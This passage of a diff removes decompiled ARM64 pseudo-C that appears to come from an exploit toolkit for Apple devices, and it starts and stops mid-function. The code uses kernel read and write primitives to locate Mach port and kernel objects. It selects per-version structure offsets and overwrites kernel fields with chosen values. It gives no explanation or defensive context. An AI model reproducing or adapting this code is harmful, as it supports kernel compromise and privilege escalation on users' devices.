!(_DWORD)v30 ) - { - v9 = 0LL; - *a3 = v45; - return v9; - } - return (unsigned int)v30 | 0x80000000; - } - return 0x28011LL; - } - if ( (v30 & 0xFFFFFFF7) != 5 || v41++ >= 8 ) - return (unsigned int)v30 | 0x80000000; - } - } - return (unsigned int)v30 | 0x80000000; - } - return 0x28010LL; - } - return 0x2800FLL; - } - } - } - } - else - { - return 0x28026LL; - } - } - return v9; -} -// 36648: variable 'v20' is possibly undefined -// 28840: using guessed type __int64 __fastcall kread64(_QWORD, _QWORD, _QWORD); -// 288A4: using guessed type __int64 __fastcall sub_288A4(_QWORD, _QWORD, _QWORD); -// 2A0D0: using guessed type __int64 __fastcall kwrite64(_QWORD, _QWORD, _QWORD); - -//----- (0000000000036C10) ---------------------------------------------------- -_QWORD *__fastcall sub_36C10(_DWORD *a1, unsigned int a2) -{ - int v2; // w8 - unsigned int v5; // w8 - size_t v6; // x21 - _QWORD *result; // x0 - _QWORD *v8; // x20 - int v9; // w22 - unsigned int v10; // w20 - unsigned __int64 v11; // x0 - __int64 v12; // [xsp+8h] [xbp-48h] BYREF - unsigned __int64 v13; // [xsp+10h] [xbp-40h] BYREF - mach_port_name_t name[2]; // [xsp+18h] [xbp-38h] BYREF - void *v15; // [xsp+20h] [xbp-30h] BYREF - void *v16; // [xsp+28h] [xbp-28h] BYREF - - *(_QWORD *)name = 0LL; - v15 = 0LL; - v12 = 0LL; - v13 = 0LL; - v2 = a1[0x50]; - if ( v2 != 0x1C1B && v2 != 0x1809 ) - return 0LL; - v5 = a1[0x60]; - if ( v5 <= a2 ) - v6 = a2; - else - v6 = v5; - v16 = 0LL; - result = calloc(v6, 1uLL); - if ( result ) - { - v8 = result; - v9 = sub_1F274(2 * (int)v6, &v16); - if ( !v9 ) - { - v9 = sub_1F308((__int64 *)v16, 0x1000000, 4uLL, 0LL); - if ( !v9 ) - { - v9 = sub_1F308((__int64 *)v16, 0x8000000, 4uLL, "key"); - if ( !v9 ) - { - v9 = sub_1F308((__int64 *)v16, 0x8A000000, v6, v8); - if ( !v9 ) - v9 = sub_1F418((__int64)v16, &v15, &name[1]); - } - } - } - if ( v16 ) - sub_1F4A4((void **)v16); - free(v8); - if ( v9 ) - return 0LL; - v10 = sub_24FC0((__int64)v15, name[1], name); - if ( v10 + 1 >= 2 ) - { - v11 = port_name_to_kaddr((__int64)a1, v10); - v13 = v11; - if ( v11 ) - { - if ( kread64(a1, v11 + 0x10, (__int64 *)&v13) - && kread64(a1, v13 + 0x18, (__int64 *)&v13) - && kread64(a1, v13 + 0x20, (__int64 *)&v13) - && kread64(a1, v13 + (int)a1[0x5A], (__int64 *)&v13) - && kread64(a1, v13 + 0x18, &v12) ) - { - v12 = validate_addr((__int64)a1, v12); - if ( v12 ) - { - if ( !kwrite64((__int64)a1, v13 + 0x18, 0LL) ) - v12 = 0LL; - } - } - } - } - if ( v15 ) - free(v15); - if ( v10 + 1 >= 2 ) - mach_port_destroy(mach_task_self_, v10); - if ( name[0] + 1 >= 2 ) - mach_port_destroy(mach_task_self_, name[0]); - return (_QWORD *)v12; - } - return result; -} - -//----- (0000000000036E4C) ---------------------------------------------------- -__int64 __fastcall sub_36E4C(__int64 a1, __int64 a2, __int64 size) -{ - __int64 v6; // x19 - kern_return_t v7; // w0 - unsigned int v8; // w24 - kern_return_t v9; // w0 - mach_port_name_t v10; // w22 - __int64 v11; // x0 - int v12; // w0 - _QWORD *v13; // x10 - _QWORD *v14; // x9 - _QWORD *v15; // x8 - void *v16; // x27 - __int64 v17; // x0 - mach_port_t v18; // w0 - mach_port_name_t v19; // w1 - int v20; // w8 - __int64 v22; // x0 - __int64 v23; // x19 - void *v24; // x0 - void *v25; // x22 - int v26; // w24 - __int64 v27; // x26 - __int64 v28; // x25 - __int64 v29; // x0 - __int64 v30; // x0 - mach_vm_address_t v31; // x27 - unsigned __int64 v32; // x8 - __int64 v33; // x8 - kern_return_t v34; // w0 - mach_port_name_t name; // [xsp+4h] [xbp-6Ch] BYREF - vm_address_t address[3]; // [xsp+8h] [xbp-68h] BYREF - - if ( *(_QWORD *)(a1 + 0x158) >= 0x1F541E00000000uLL ) - { - v6 = 0xAD001LL; - address[0] = 0LL; - if ( (size & 0xF) != 0 ) - return v6; - v7 = vm_allocate(mach_task_self_, address, (unsigned int)size, 1); - if ( v7 ) - { - v8 = 0; - v6 = v7 | 0x80000000; - goto LABEL_30; - } - v12 = pthread_mutex_lock((pthread_mutex_t *)(a1 + 0x330)); - if ( !v12 ) - { - v13 = *(_QWORD **)(a1 + 0x370); - if ( v13 ) - { - v14 = 0LL; - v15 = (_QWORD *)(a1 + 0x370); - while ( 1 ) - { - v16 = v13; - if ( v13[1] == a2 && *((_DWORD *)v13 + 6) == (_DWORD)size ) - break; - v13 = (_QWORD *)*v13; - v14 = v16; - if ( !*(_QWORD *)v16 ) - goto LABEL_15; - } - if ( v14 ) - v15 = v14; - *v15 = *v13; - v12 = pthread_mutex_unlock((pthread_mutex_t *)(a1 + 0x330)); - if ( v12 ) - goto LABEL_26; - v6 = 0x28010LL; - v27 = *((_QWORD *)v16 + 4); - v28 = *((_QWORD *)v16 + 2); - v8 = *((_DWORD *)v16 + 7); - free(v16); - v29 = sub_32D6C(a1, v8); - if ( v29 ) - { - v30 = sub_32820(a1, v29); - if ( v30 && (v31 = v30 + 3LL * *(int *)(a1 + 0x168)) != 0 ) - { - if ( (unsigned int)kwritebuf_last_1(a1, a2, address[0], size) ) - { - v32 = *(_QWORD *)(a1 + 0x158); - if ( v32 > 0x22580A06BFFFFFLL - || (v32 < 0x1F543C40800000LL || *(int *)(a1 + 0x140) >= 0x2258 - ? (v33 = *(unsigned int *)(a1 + 0x168)) - : (v33 = 0LL), - kwrite64(a1, v33 + a2, v27)) ) - { - if ( kwrite64(a1, v31, v28) ) - { - v34 = mach_port_mod_refs(mach_task_self_, v8, 1u, 0xFFFFFFFF); - if ( v34 ) - { - v6 = v34 | 0x80000000; - } - else - { - v8 = 0; - v6 = 0LL; - } - } - } - } - } - else - { - v6 = 0x28026LL; - } - } - else - { - v6 = 0x2800ELL; - } -LABEL_30: - if ( address[0] ) - vm_deallocate(mach_task_self_, address[0], (unsigned int)size); - if ( v8 + 1 >= 2 ) - { - v18 = mach_task_self_; - v19 = v8; -LABEL_34: - mach_port_mod_refs(v18, v19, 1u, 0xFFFFFFFF); - return v6; - } - return v6; - } -LABEL_15: - v12 = pthread_mutex_unlock((pthread_mutex_t *)(a1 + 0x330)); - if ( !v12 ) - { - v8 = 0; - v6 = 0xAD011LL; - goto LABEL_30; - } - } -LABEL_26: - v8 = 0; - if ( v12 >= 0 ) - v20 = v12; - else - v20 = -v12; - v6 = v20 | 0x40000000u; - goto LABEL_30; - } - name = 0; - v9 = mach_port_allocate(mach_task_self_, 1u, &name); - if ( !v9 ) - { - v10 = name; - v11 = sub_248E4((__int64)address); - if ( (_DWORD)v11 ) - { - v6 = v11; - } - else - { - sub_24954((__int64)address, 0xFFFFFFFF); - if ( (_DWORD)v17 ) - { - v6 = v17; - sub_24908((__int64)address); - } - else - { - v6 = sub_24B38((__int64)address, 0, v10, 0); - sub_24908((__int64)address); - if ( !(_DWORD)v6 ) - { - LOBYTE(address[0]) = 2; - if ( !((unsigned int)size % *(_DWORD *)(a1 + 0x168)) - && (v22 = sub_35568(a1, name)) != 0 - && (v23 = v22, (v24 = calloc((unsigned int)size, 1uLL)) != 0LL) - && (v25 = v24, v26 = kwritebuf_last_1(a1, a2, (__int64)v24, size), free(v25), v26) - && (unsigned int)sub_288A4(a1, v23 + 0x24, a2) - && noppl_kwrite32(a1, v23 + 0x30, (unsigned int)size / *(_DWORD *)(a1 + 0x168)) ) - { - if ( (unsigned int)kwritebuf_last_1(a1, v23 + 0x2F, (__int64)address, 1LL) ) - v6 = 0LL; - else - v6 = 0x1001LL; - } - else - { - v6 = 0x1001LL; - } - } - } - } - v18 = mach_task_self_; - v19 = name; - goto LABEL_34; - } - return v9 | 0x80000000; -} -// 36F80: variable 'v17' is possibly undefined -// 288A4: using guessed type __int64 __fastcall sub_288A4(_QWORD, _QWORD, _QWORD); - -//----- (0000000000037210) ---------------------------------------------------- -__int64 __fastcall sub_37210(__int64 a1, unsigned int *a2) -{ - unsigned int v4; // w24 - unsigned __int64 v5; // x8 - __int64 v6; // x28 - __int64 v7; // x27 - unsigned int v8; // w0 - unsigned int v9; // w8 - int v10; // w9 - int v11; // w8 - unsigned int v12; // w8 - int v13; // w9 - int v14; // w8 - int v15; // w21 - unsigned int v16; // w22 - void *v17; // x0 - void *v18; // x21 - mach_port_t v19; // w23 - int v20; // w22 - __int64 v21; // x0 - __int64 v22; // x22 - mach_port_name_t v23; // w1 - mach_port_t v24; // w0 - __int64 v25; // x0 - __int64 v26; // x0 - __int64 v27; // x21 - unsigned int v28; // w23 - unsigned __int64 v29; // x23 - int v30; // w0 - unsigned int v31; // w22 - int v32; // w8 - int v33; // w10 - unsigned int v34; // w8 - int v35; // w11 - void *v36; // x0 - mach_port_t v37; // w23 - _QWORD *v39; // x0 - void *v40; // x21 - mach_port_name_t v41; // w8 - int v42; // w22 - mach_port_name_t v43; // w23 - unsigned __int64 v44; // x8 - bool v45; // cc - __int64 v46; // x8 - __int64 v47; // x23 - __int64 v48; // x26 - int v49; // w0 - __int64 v50; // x0 - __int64 *v51; // x9 - _QWORD *v52; // x8 - unsigned int v53; // [xsp+4h] [xbp-8Ch] - int v54; // [xsp+8h] [xbp-88h] BYREF - unsigned int v55; // [xsp+Ch] [xbp-84h] BYREF - mach_port_name_t name[2]; // [xsp+10h] [xbp-80h] BYREF - mach_port_t previous; // [xsp+1Ch] [xbp-74h] BYREF - mach_port_name_t v58[2]; // [xsp+20h] [xbp-70h] BYREF - __int64 v59[3]; // [xsp+28h] [xbp-68h] BYREF - - v4 = *a2; - v5 = *(_QWORD *)(a1 + 0x158); - if ( v5 >= 0x1F541E00000000LL ) - { - *(_QWORD *)v58 = 0LL; - previous = 0; - *(_QWORD *)name = 0LL; - if ( v5 > 0x22580A06BFFFFFLL || v5 >= 0x1F543C40800000LL && *(int *)(a1 + 0x140) <= 0x2257 ) - { - v6 = 0LL; - v7 = *(unsigned int *)(a1 + 0x168); - } - else - { - v7 = 0LL; - v6 = *(unsigned int *)(a1 + 0x168); - } - if ( mach_port_allocate(mach_task_self_, 1u, &v58[1]) ) - goto LABEL_29; - v25 = sub_32D6C(a1, v58[1]); - if ( !v25 ) - goto LABEL_29; - v26 = sub_32820(a1, v25); - if ( !v26 ) - goto LABEL_29; - v27 = v26 + 3LL * *(int *)(a1 + 0x168); - if ( !v27 || mach_port_allocate(mach_task_self_, 1u, v58) ) - goto LABEL_29; - while ( 1 ) - { - if ( mach_port_request_notification(mach_task_self_, v58[1], 0x48, 0, v58[0], 0x15u, &previous) - || mach_port_request_notification(mach_task_self_, v58[1], 0x48, 0, 0, 0x15u, &previous) ) - { - goto LABEL_29; - } - if ( previous + 1 >= 2 ) - { - if ( mach_port_deallocate(mach_task_self_, previous) ) - goto LABEL_29; - previous = 0; - } - if ( !(unsigned int)kread64_internal(a1, v27, v59) ) - goto LABEL_29; - v22 = sub_29CB0((_DWORD *)a1, v59[0]); - if ( *(_QWORD *)(a1 + 0x158) > 0x22580A06BFFFFFuLL ) - v22 = sub_2A200(a1, v22, &v55); - if ( !validate_addr(a1, v22) ) - goto LABEL_29; - if ( *(_QWORD *)(a1 + 0x158) <= 0x22580A06BFFFFFuLL ) - { - if ( !(unsigned int)kread64_internal(a1, v22 + v6, name) ) - goto LABEL_29; - v29 = sub_29CB0((_DWORD *)a1, *(__int64 *)name); - if ( !validate_addr_maybe2(a1, v29) || !(unsigned int)kreadbuf_last_1(a1, v29, 4LL, (__int64)&v55) ) - goto LABEL_29; - v28 = 0x10 * v55; - } - else - { - v28 = v55; - } - if ( v28 >= v4 ) - break; - v54 = 0; - if ( !(unsigned int)kwritebuf_last_1(a1, v22 + v7, (__int64)&v54, 4LL) ) - goto LABEL_29; - } - if ( (unsigned int)sub_288A4(a1, v27, 0LL) && (v39 = malloc(0x28uLL)) != 0LL ) - { - v40 = v39; - *v39 = 0LL; - v39[1] = v22; - v39[2] = v59[0]; - v41 = v58[1]; - *((_DWORD *)v39 + 6) = v28; - *((_DWORD *)v39 + 7) = v41; - v39[4] = *(_QWORD *)name; - v58[1] = 0; - if ( pthread_mutex_lock((pthread_mutex_t *)(a1 + 0x330)) ) - { -LABEL_90: - free(v40); - goto LABEL_29; - } - v51 = *(__int64 **)(a1 + 0x370); - if ( v51 ) - { - while ( 1 ) - { - v52 = v51; - if ( v51[1] == v22 && *((_DWORD *)v51 + 6) == v28 ) - break; - v51 = (__int64 *)*v51; - if ( !*v52 ) - goto LABEL_112; - } - pthread_mutex_unlock((pthread_mutex_t *)(a1 + 0x330)); - goto LABEL_90; - } - v52 = (_QWORD *)(a1 + 0x370); -LABEL_112: - *v52 = v40; - if ( pthread_mutex_unlock((pthread_mutex_t *)(a1 + 0x330)) ) - v22 = 0LL; - else - v4 = v28; - } - else - { -LABEL_29: - v22 = 0LL; - } - if ( v58[1] + 1 >= 2 ) - mach_port_mod_refs(mach_task_self_, v58[1], 1u, 0xFFFFFFFF); - v23 = v58[0]; - if ( v58[0] + 1 < 2 ) - goto LABEL_83; - v24 = mach_task_self_; - goto LABEL_82; - } - v8 = sub_40210(a1); - if ( !v8 ) - return 0LL; - if ( v4 >= v8 ) - { - v9 = *(_DWORD *)(a1 + 0x180); - v10 = v4 % v9; - v11 = v9 - v4 % v9; - if ( !v10 ) - v11 = 0; - v4 += v11; - } - v12 = *(_DWORD *)(a1 + 0x168); - if ( v4 >= 0x3FFF * v12 ) - { - name[0] = 0; - if ( !mach_port_allocate(mach_task_self_, 1u, name) ) - { - v30 = sub_353DC(a1); - if ( *(_QWORD *)(a1 + 0x158) <= 0x1F52FFFFFFFFFFuLL ) - { - v31 = 0xFFFFFFDC; - if ( v4 >= 0x25 && v30 + 0x68 <= v4 ) - { - if ( v4 < 0x29 ) - goto LABEL_80; - if ( v30 + 0x6C <= v4 ) - { - v33 = 0x6C; - v34 = 4; - do - { - v35 = v33; - if ( v33 - 0x40 >= v4 ) - break; - v33 += 4; - v34 += 4; - } - while ( v30 + ((v34 / 3) & 0x7FFFFFFC) + v33 <= v4 ); - v32 = v35 - 0x44; - } - else - { - v32 = 0x24; - } - v31 = v32 - 0x24; - if ( v32 == 0x24 ) - goto LABEL_80; - } - } - else - { - v31 = v4 + 0x4C; - if ( v4 + 0x4C <= 0x100 - v30 ) - goto LABEL_80; - } - v36 = calloc(v31, 1uLL); - if ( v36 ) - { - v18 = v36; - if ( (v31 & 3) != 0 ) - goto LABEL_78; - v37 = name[0]; - if ( (unsigned int)sub_248E4((__int64)v59) ) - goto LABEL_78; - if ( !(unsigned int)sub_24AD0((__int64)v59, v18, v31) ) - { - v42 = sub_24B38((__int64)v59, 0, v37, 0); - sub_24908((__int64)v59); - if ( !v42 ) - { - v43 = name[0]; - v22 = sub_354A4(a1, name[0]); - if ( !v22 ) - goto LABEL_79; - if ( (unsigned int)kread64(a1, v22, v59) && validate_addr(a1, v59[0]) ) - { - v53 = v43; - v44 = *(_QWORD *)(a1 + 0x158); - if ( v44 < 0x1C1B0A80100000LL ) - goto LABEL_100; - v45 = v44 > 0x1C1B19145FFFFFLL; - v46 = 0x18LL; - if ( v45 ) - v46 = 0x10LL; - if ( (unsigned int)kread64(a1, v59[0] + v46, v59) && validate_addr(a1, v59[0]) ) - { -LABEL_100: - v47 = v22; - v48 = v22 + 8; - v49 = kreadbuf_last_1(a1, v22 + 8 + *(int *)(a1 + 0x168), 2LL, (__int64)&v58[1]); - v22 = 0LL; - if ( !v49 || LOWORD(v58[1]) != 1 ) - goto LABEL_79; - if ( (unsigned int)sub_288A4(a1, v47, 0LL) ) - { - LOWORD(v58[1]) = 0; - if ( (unsigned int)kwritebuf_last_1(a1, v48 + *(int *)(a1 + 0x168), (__int64)&v58[1], 2LL) ) - { - v50 = sub_32D6C(a1, v53); - if ( v50 ) - { - sub_35E18(a1, v50, 0xFFFFFFFF); - v22 = v59[0]; - goto LABEL_79; - } - } - } - } - } - } - goto LABEL_78; - } - goto LABEL_77; - } -LABEL_80: - v22 = 0LL; - goto LABEL_81; - } - } - else - { - name[0] = 0; - v13 = v4 % v12; - v14 = v12 - v4 % v12; - if ( v13 ) - v15 = v14; - else - v15 = 0; - if ( !mach_port_allocate(mach_task_self_, 1u, name) ) - { - v16 = v15 + v4; - v17 = calloc(v15 + v4, 1uLL); - if ( v17 ) - { - v18 = v17; - if ( v16 % *(_DWORD *)(a1 + 0x168) ) - goto LABEL_78; - v19 = name[0]; - if ( (unsigned int)sub_248E4((__int64)v59) ) - goto LABEL_78; - if ( !(unsigned int)sub_24A64((__int64)v59, (__int64)v18, v16 / *(_DWORD *)(a1 + 0x168)) ) - { - v20 = sub_24B38((__int64)v59, 0, v19, 0); - sub_24908((__int64)v59); - if ( !v20 ) - { - v21 = sub_35568(a1, name[0]); - v22 = v21; - if ( !v21 ) - { -LABEL_79: - free(v18); -LABEL_81: - v24 = mach_task_self_; - v23 = name[0]; -LABEL_82: - mach_port_mod_refs(v24, v23, 1u, 0xFFFFFFFF); - goto LABEL_83; - } - if ( (unsigned int)kread64(a1, v21 + 0x24, v59) && validate_addr(a1, v59[0]) ) - { - if ( noppl_kwrite32(a1, v22 + 0x20, 0) ) - v22 = v59[0]; - else - v22 = 0LL; - goto LABEL_79; - } - } -LABEL_78: - v22 = 0LL; - goto LABEL_79; - } -LABEL_77: - sub_24908((__int64)v59); - goto LABEL_78; - } - goto LABEL_80; - } - } - v22 = 0LL; -LABEL_83: - if ( v22 && v4 != *a2 ) - *a2 = v4; - return v22; -} -// 28840: using guessed type __int64 __fastcall kread64(_QWORD, _QWORD, _QWORD); -// 288A4: using guessed type __int64 __fastcall sub_288A4(_QWORD, _QWORD, _QWORD); -// 29B78: using guessed type __int64 __fastcall kread64_internal(_QWORD, _QWORD, _QWORD); - -//----- (000000000003796C) ---------------------------------------------------- -__int64 __fastcall sub_3796C(__int64 a1, _DWORD *a2) -{ - __int64 v4; // x19 - vm_size_t v5; // x20 - vm_address_t address; // [xsp+0h] [xbp-40h] BYREF - vm_size_t size; // [xsp+Ch] [xbp-34h] BYREF - - LODWORD(size) = *a2; - v4 = sub_37210(a1, (unsigned int *)&size); - if ( v4 ) - { - address = 0LL; - v5 = (unsigned int)size; - if ( vm_allocate(mach_task_self_, &address, (unsigned int)size, 1) ) - { -LABEL_3: - sub_36E4C(a1, v4, v5); - return 0LL; - } - if ( !(unsigned int)kwritebuf_last_1(a1, v4, address, v5) ) - { - vm_deallocate(mach_task_self_, address, v5); - goto LABEL_3; - } - if ( (_DWORD)v5 != *a2 ) - *a2 = v5; - vm_deallocate(mach_task_self_, address, v5); - } - return v4; -} - -//----- (0000000000037A50) ---------------------------------------------------- -__int64 __fastcall sub_37A50(int *a1, unsigned int a2, int a3, int a4, __int16 a5) -{ - __int64 v9; // x19 - unsigned __int64 v10; // x0 - unsigned __int64 v11; // x21 - mach_vm_address_t v12; // x23 - unsigned __int64 v13; // x22 - unsigned __int64 v14; // x23 - __int64 v15; // x21 - unsigned int v17; // [xsp+0h] [xbp-60h] BYREF - unsigned int v18; // [xsp+4h] [xbp-5Ch] BYREF - unsigned int v19; // [xsp+8h] [xbp-58h] BYREF - unsigned int v20; // [xsp+Ch] [xbp-54h] BYREF - unsigned int v21; // [xsp+10h] [xbp-50h] BYREF - unsigned int v22; // [xsp+14h] [xbp-4Ch] BYREF - __int64 v23; // [xsp+18h] [xbp-48h] BYREF - __int64 v24; // [xsp+20h] [xbp-40h] BYREF - __int16 v25; // [xsp+2Eh] [xbp-32h] BYREF - - v25 = a5; - v23 = 0LL; - v24 = 0LL; - if ( (*a1 & 0x5584201) == 0 ) - return 0xAD008LL; - v9 = sub_37C50(a1, (int *)&v22, (int *)&v21, (int *)&v20, (int *)&v19); - if ( !(_DWORD)v9 ) - { - v9 = sub_37F58((__int64)a1, a3, &v24); - if ( !(_DWORD)v9 ) - { - v9 = 0x2800FLL; - v10 = port_name_to_kaddr((__int64)a1, a2); - if ( !v10 ) - return 0x2800ELL; - v11 = v10; - v12 = v10 + v22; - if ( kread64(a1, v12, &v23) ) - { - if ( v23 && !validate_addr((__int64)a1, v23) ) - return 0x28026LL; - if ( !kwrite64((__int64)a1, v12, v24) ) - return 0x28010LL; - if ( a4 ) - { - v13 = v11 + v21; - if ( !kread32_outptr((__int64)a1, v13, &v18) ) - return v9; - if ( v18 > 3 ) - return 0x28011LL; - v14 = v11 + v20; - if ( !kread32_outptr((__int64)a1, v14, &v17) ) - return v9; - if ( v17 > 0xB71B00 ) - return 0x28011LL; - if ( !noppl_kwrite32((__int64)a1, v13, 1) || !noppl_kwrite32((__int64)a1, v14, 0xB71B00) ) - return 0x28010LL; - } - v15 = v11 + v19; - if ( (unsigned int)kreadbuf_last_1((__int64)a1, v15, 2LL, (__int64)&v18) ) - { - if ( (unsigned __int16)v18 > 0x7Fu ) - return 0x28011LL; - if ( (unsigned int)kwritebuf_last_1((__int64)a1, v15, (__int64)&v25, 2LL) ) - return 0LL; - else - return 0x28010LL; - } - } - } - } - return v9; -} - -//----- (0000000000037C50) ---------------------------------------------------- -__int64 __fastcall sub_37C50(int *a1, int *a2, int *a3, int *a4, int *a5) -{ - int v6; // w11 - __int64 result; // x0 - unsigned __int64 v8; // x10 - int v9; // w9 - int v10; // w8 - bool v11; // zf - int v12; // w9 - int v13; // w15 - int v14; // w16 - int v15; // w17 - bool v16; // cf - int v17; // w8 - int v18; // w9 - int v19; // w10 - int v20; // w11 - int v21; // w8 - int v22; // w11 - int v23; // w12 - int v24; // w13 - int v25; // w14 - bool v26; // cc - int v27; // w10 - int v28; // w16 - bool v29; // zf - int v30; // w8 - bool v31; // cc - int v32; // w12 - int v33; // w11 - - v6 = 0x5584001; - result = 0xAD008LL; - v8 = *((_QWORD *)a1 + 0x2B); - v9 = *a1; - if ( v8 >> 0x2B >= 0x44B ) - v6 = 0x5584201; - if ( (v9 & v6) == 0 ) - return result; - result = 0x2802CLL; - v10 = a1[0x50]; - if ( v10 <= 0x2257 ) - { - if ( (unsigned int)(v10 - 0x1F53) >= 2 ) - { - if ( v10 != 0x1809 ) - { - if ( v10 != 0x1C1B ) - return result; - v11 = (v9 & 0x84000) == 0; - if ( (v9 & 0x84000) != 0 ) - v12 = 0x288; - else - v12 = 0x280; - if ( v11 ) - v13 = 0x16C; - else - v13 = 0x174; - if ( v11 ) - v14 = 0x22C; - else - v14 = 0x234; - if ( v11 ) - v15 = 0x184; - else - v15 = 0x18C; - v16 = v8 >= 0x1C1B1914600000LL; - if ( v8 >= 0x1C1B1914600000LL ) - v17 = v12; - else - v17 = 0x1C0; - if ( v8 >= 0x1C1B1914600000LL ) - v18 = v13; - else - v18 = 0xAC; - if ( v8 >= 0x1C1B1914600000LL ) - v19 = v14; - else - v19 = 0x16C; - if ( v16 ) - v20 = v15; - else - v20 = 0xC4; - goto LABEL_111; - } - v31 = v8 > 0x18090A095FFFFFLL; - if ( v8 <= 0x18090A095FFFFFLL ) - v17 = 0x1A8; - else - v17 = 0x1A0; - if ( v8 <= 0x18090A095FFFFFLL ) - v18 = 0xAC; - else - v18 = 0xA4; - if ( v8 <= 0x18090A095FFFFFLL ) - v19 = 0x154; - else - v19 = 0x14C; - v20 = 0xC4; - v32 = 0xBC; - goto LABEL_93; - } - if ( (v9 & 0x100000) != 0 ) - { - v31 = v8 > 0x1F530F027FFFFFLL; - if ( v8 <= 0x1F530F027FFFFFLL ) - v18 = 0x180; - else - v18 = 0x17C; - if ( v8 <= 0x1F530F027FFFFFLL ) - v17 = 0x290; - else - v17 = 0x220; - if ( v8 <= 0x1F530F027FFFFFLL ) - v19 = 0x230; - else - v19 = 0x1C4; - v20 = 0x190; - v32 = 0x194; -LABEL_93: - if ( v31 ) - v20 = v32; - goto LABEL_111; - } - if ( v8 <= 0x1F530F027FFFFFLL ) - v23 = 0x170; - else - v23 = 0x16C; - if ( v8 <= 0x1F530F027FFFFFLL ) - v24 = 0x280; - else - v24 = 0x210; - if ( v8 <= 0x1F530F027FFFFFLL ) - v25 = 0x224; - else - v25 = 0x1B4; - v26 = v8 > 0x1F530F027FFFFFLL; - if ( v8 <= 0x1F530F027FFFFFLL ) - v27 = 0x178; - else - v27 = 0x174; - if ( v26 ) - v17 = 0x218; - else - v17 = 0x288; - if ( v26 ) - v28 = 0x1BC; - else - v28 = 0x22C; - v29 = (v9 & 0x84000) == 0; - if ( (v9 & 0x84000) != 0 ) - { - v18 = v27; - } - else - { - v17 = v24; - v18 = v23; - } - if ( v29 ) - v19 = v25; - else - v19 = v28; - if ( v29 ) - v20 = 0x184; - else - v20 = 0x18C; -LABEL_111: - result = 0LL; - *a2 = v17; - *a3 = v18; - *a4 = v19; - *a5 = v20; - return result; - } - if ( v10 == 0x2258 || v10 == 0x225C ) - { - v30 = v9 & 0x518E241; - if ( (v9 & 0x518E241u) >= 0x80000 ) - { - if ( v30 != 0x80000 ) - { - if ( v30 != 0x100000 && v30 != 0x1000000 ) - return result; - v33 = 0x28; -LABEL_107: - v17 = v33 + 0x1E8; - v18 = v33 + 0x154; - v19 = v33 + 0x19C; - v20 = v33 + 0x16C; - goto LABEL_111; - } - } - else - { - if ( v30 == 1 ) - { - v33 = 0x10; - goto LABEL_107; - } - if ( v30 == 0x200 ) - { - v33 = 0; - goto LABEL_107; - } - if ( v30 != 0x4000 ) - return result; - } - v33 = 0x20; - goto LABEL_107; - } - if ( v10 != 0x2712 ) - return result; - v21 = v9 & 0x518E241; - if ( (v9 & 0x518E241u) >= 0x100000 ) - { - if ( v21 == 0x100000 || v21 == 0x1000000 ) - { - v22 = 0x18; - } - else - { - if ( v21 != 0x4000000 ) - return result; - v22 = 0x68; - } - goto LABEL_110; - } - if ( v21 == 1 ) - { - v22 = 0; - goto LABEL_110; - } - if ( v21 == 0x4000 || v21 == 0x80000 ) - { - v22 = 0x10; -LABEL_110: - v17 = v22 | 0x200; - v18 = v22 + 0x164; - v19 = v22 + 0x1B4; - v20 = v22 + 0x17C; - goto LABEL_111; - } - return result; -} - -//----- (0000000000037F58) ---------------------------------------------------- -__int64 __fastcall sub_37F58(__int64 a1, int a2, _QWORD *a3) -{ - __int64 result; // x0 - __int64 v7; // x8 - unsigned int v8; // [xsp+Ch] [xbp-54h] BYREF - _OWORD v9[2]; // [xsp+10h] [xbp-50h] BYREF - - memset(v9, 0, sizeof(v9)); - v8 = 4; - if ( !*(_QWORD *)(a1 + 0x248) || !*(_QWORD *)(a1 + 0x250) ) - { - result = sub_35004(a1, 2, (__int64)v9, &v8); - if ( (_DWORD)result ) - return result; - if ( v8 < 2 ) - return 0x28011LL; - *(_OWORD *)(a1 + 0x248) = v9[0]; - } - result = 0LL; - v7 = 0x250LL; - if ( a2 ) - v7 = 0x248LL; - *a3 = *(_QWORD *)(a1 + v7); - return result; -} - -//----- (0000000000038034) ---------------------------------------------------- -__int64 __fastcall sub_38034(int *a1, __int64 a2, int a3, int a4, __int16 a5) -{ - __int64 v10; // x21 - __int64 v11; // x24 - __int64 v12; // x1 - __int64 v13; // x10 - unsigned int v15; // [xsp+8h] [xbp-48h] BYREF - unsigned int v16; // [xsp+Ch] [xbp-44h] BYREF - unsigned int v17; // [xsp+10h] [xbp-40h] BYREF - unsigned int v18; // [xsp+14h] [xbp-3Ch] BYREF - __int64 v19; // [xsp+18h] [xbp-38h] BYREF - - v19 = 0LL; - if ( (*a1 & 0x5584201) == 0 ) - return 0xAD008LL; - v10 = sub_37C50(a1, (int *)&v18, (int *)&v17, (int *)&v16, (int *)&v15); - if ( !(_DWORD)v10 ) - { - v10 = sub_37F58((__int64)a1, a3, &v19); - if ( !(_DWORD)v10 ) - { - v10 = 0x28011LL; - v11 = v18; - v12 = *(_QWORD *)(a2 + v18); - if ( v12 && !validate_addr((__int64)a1, v12) ) - return 0x28026LL; - *(_QWORD *)(a2 + v11) = v19; - if ( a4 ) - { - if ( *(_DWORD *)(a2 + v17) > 3u ) - return v10; - v13 = v16; - if ( *(_DWORD *)(a2 + v16) > 0xB71B00u ) - return v10; - *(_DWORD *)(a2 + v17) = 1; - *(_DWORD *)(a2 + v13) = 0xB71B00; - } - if ( *(unsigned __int16 *)(a2 + v15) <= 0x7Fu ) - { - v10 = 0LL; - *(_WORD *)(a2 + v15) = a5; - } - } - } - return v10; -} - -//----- (0000000000038158) ---------------------------------------------------- -__int64 __fastcall sub_38158(__int64 a1, __int64 a2, int a3, int a4, __int16 a5) -{ - __int64 v9; // x23 - vm_size_t v10; // x20 - kern_return_t v11; // w0 - __int64 v13; // x0 - vm_address_t v14; // x25 - __int64 v15; // x23 - __int64 v16; // x1 - __int64 v17; // x0 - __int64 v18; // x22 - __int64 v19; // x0 - __int64 v20; // x0 - __int64 v21; // x0 - int v22; // [xsp+0h] [xbp-70h] BYREF - int v23; // [xsp+4h] [xbp-6Ch] BYREF - unsigned int v24; // [xsp+8h] [xbp-68h] BYREF - unsigned int v25; // [xsp+Ch] [xbp-64h] BYREF - unsigned int v26; // [xsp+10h] [xbp-60h] BYREF - unsigned int v27; // [xsp+14h] [xbp-5Ch] BYREF - vm_address_t address; // [xsp+18h] [xbp-58h] BYREF - __int64 v29; // [xsp+20h] [xbp-50h] BYREF - __int16 v30; // [xsp+2Eh] [xbp-42h] BYREF - - v30 = a5; - address = 0LL; - v29 = 0LL; - if ( (*(_DWORD *)a1 & 0x5584201) == 0 ) - return 0xAD008LL; - v9 = sub_37C50((int *)a1, (int *)&v27, (int *)&v26, (int *)&v25, (int *)&v24); - if ( 